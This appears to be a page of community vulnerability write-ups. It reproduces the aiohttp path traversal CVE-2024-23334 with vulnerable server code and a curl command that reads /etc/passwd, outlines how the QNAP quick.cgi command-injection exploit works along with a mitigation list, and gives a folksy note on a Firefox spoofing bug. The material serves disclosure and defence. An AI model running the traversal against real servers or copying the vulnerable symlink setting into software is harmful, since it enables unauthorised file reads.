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Technical Analysis
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  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

CVE-2024-23334 Path Traversal

Environment Setup

  • Vulnerable code
  • pip install aiohttp==3.9.1
# examples/server_simple.py
from aiohttp import web

app = web.Application()
app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

if __name__ == '__main__':
    web.run_app(app)

# 访问 https://www.jetbrains.com/help/pycharm/ 获取 PyCharm 帮助

Execute following commands to start an aiohttp:3.9.1 :

python main.py

Exploit

➜  CVE-2024-23334 git:(master) ✗ curl --path-as-is http://127.0.0.1:8080/static/../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

-1

let’s delve deeper into the details of the QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution (RCE) vulnerability:

Vulnerability Overview

The vulnerability, identified by CVE-2023-47218, exposes an unauthenticated command injection risk within the QNAP operating systems QTS and QuTS Hero. QTS is integral to the firmware of numerous entry and mid-level QNAP Network Attached Storage (NAS) devices, while QuTS Hero plays a core role in high-end and enterprise-level NAS devices.

Vulnerable Component:

The flaw resides in the quick.cgi component, which is accessible through the device’s web-based administration feature. This component, present in uninitialized QNAP NAS devices, is designed for manual or cloud-based provisioning during the NAS device’s setup. Once the device is initialized successfully, quick.cgi is disabled.

An attacker with network access to an uninitialized QNAP NAS device can leverage this vulnerability to perform unauthenticated command injection. This allows the attacker to execute arbitrary commands on the target device.

Exploit Details

Check Function:

  • The check function sends a GET request to /cgi-bin/quick/quick.cgi.
  • If the HTTP status code is 404, it suggests the device is not vulnerable.
  • A 200 status code with a response containing ‘<Result>failure</Result>’ confirms the vulnerability.

Exploit Function:

  1. Payload Limitation:

    • The command injection has a payload limit of 127 characters.
    • The exploit generates a Bash script, including the encoded payload.
    • This script is then uploaded and executed on the target device.
  2. Execute Command Function:

    • Encodes the command and injects it into the payload.
    • Uploads the encoded command to the target device.
  3. Upload File Function:

    • Handles file uploads using a POST request with multipart/form-data.
    • Ensures file name length is below 128 bytes to prevent issues.
    • Uploaded files include Bash scripts containing the payload.

Mitigations and Recommendations

Patch and Update:

  • Users should promptly apply the security patch provided in the QNAP security advisory.

Authentication Mechanisms:

  • Evaluate the effectiveness of QNAP’s authentication mechanisms in preventing unauthorized access.

Payload Length Limitation:

  • Analyze the significance of the payload length limitation in real-world exploitation scenarios.

Payload Execution:

  • Assess the reliability of the script execution mechanism across different environments.

File Upload Security:

  • Inspect measures in place for file uploads to prevent unauthorized or malicious file transfers.

Network Access:

  • Understand the required scope of network access for an attacker to exploit the vulnerability.

Post-Exploitation Cleanup:

  • Examine the cleanup mechanism after payload execution to avoid leaving traces.

This detailed analysis provides a comprehensive understanding of the vulnerability, its exploitation methods, and suggested mitigations to secure QNAP NAS devices from potential threats.

To prevent the QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution attack from recurring, consider implementing the following security measures:

  1. Apply Vendor Patch:

    • Immediately apply the vendor-provided patch mentioned in the QNAP security advisory.
    • Regularly check for and apply firmware updates to ensure the system is protected against known vulnerabilities.
  2. Network Segmentation:

    • Implement network segmentation to restrict unauthorized access to critical systems and services.
    • Isolate NAS devices from public-facing networks and limit access to trusted internal networks.
  3. Strong Authentication:

    • Enforce strong authentication mechanisms, such as complex passwords or multi-factor authentication, to prevent unauthorized access.
  4. Regular Security Audits:

    • Conduct regular security audits to identify and remediate potential vulnerabilities in the NAS devices and associated software.
  5. Intrusion Detection Systems (IDS):

    • Deploy intrusion detection systems to monitor network traffic for suspicious activities and alert administrators to potential threats.
  6. File Upload Restrictions:

    • Implement restrictions on file uploads, including size limits and allowed file types, to prevent malicious file uploads.
  7. Input Validation:

    • Enhance input validation for web-based components to prevent injection attacks.
    • Validate and sanitize user inputs to ensure they adhere to expected formats and structures.
  8. Least Privilege Principle:

    • Follow the principle of least privilege, restricting user accounts and processes to the minimum level of access required for their functions.
  9. Security Awareness Training:

    • Conduct regular security awareness training for users and administrators to educate them on potential risks, phishing attempts, and best security practices.
  10. Monitoring and Logging:

    • Implement robust monitoring and logging solutions to detect unusual activities and maintain detailed logs for forensic analysis.
  11. Incident Response Plan:

    • Develop and regularly update an incident response plan that outlines the steps to be taken in the event of a security incident.
    • Ensure that the response plan includes communication strategies and coordination with relevant stakeholders.
  12. Penetration Testing:

    • Periodically conduct penetration testing to identify and address potential vulnerabilities before they can be exploited by malicious actors.
  13. Vendor Communication:

    • Establish and maintain communication channels with QNAP or relevant vendors to stay informed about security updates and advisories.

By implementing these preventive measures, organizations can significantly reduce the risk of similar unauthenticated remote code execution attacks and enhance the overall security posture of their QNAP NAS devices.

-1
Ratings
Technical Analysis

I reckon we got ourselves a CVE on our hands – CVE-2024-1548, ya see? This little critter’s been sneaky, messin’ with Firefox, Thunderbird, and them ESR versions. What’s happenin’ is, these websites could play tricks by hidin’ them fullscreen notifications using a dropdown select input – real crafty-like. Could lead to some serious head-scratchin’ and maybe even a spoofin’ showdown.

Now, in the cybersecurity rodeo, we gotta rope in them MITRE ATT&CK tactics and techniques. This fella’s messin’ with our minds, so we’re talkin’ Spoofin’ in the Impact corral – manipulatin’ them fullscreen notifications like a snake in the grass.

As for severity, we ain’t playin’ marbles. Gotta check them CVSS scores, but it’s lookin’ like a hot potato in terms of risk. We’re talkin’ ‘bout gettin’ them updates ASAP – push Firefox past 123, Thunderbird past 115.8. Ain’t no time for dilly-dallyin’ – ride ‘em, cowboy!

Now, listen up – till you get them updates, tread lightly on them websites, especially when they’re askin’ for fullscreen access. Watch out for them sneaky dropdowns – don’t let ‘em pull the wool over your eyes.

And for the cyber guardians with a decade in the saddle, keep them network logs peeled. We’re on the lookout for any varmints tryin’ to exploit this here CVE-2024-1548. It’s a wild ride in the cybersecurity frontier, but with the right moves, we’ll keep our digital ranch safe and sound. Happy trails, partner!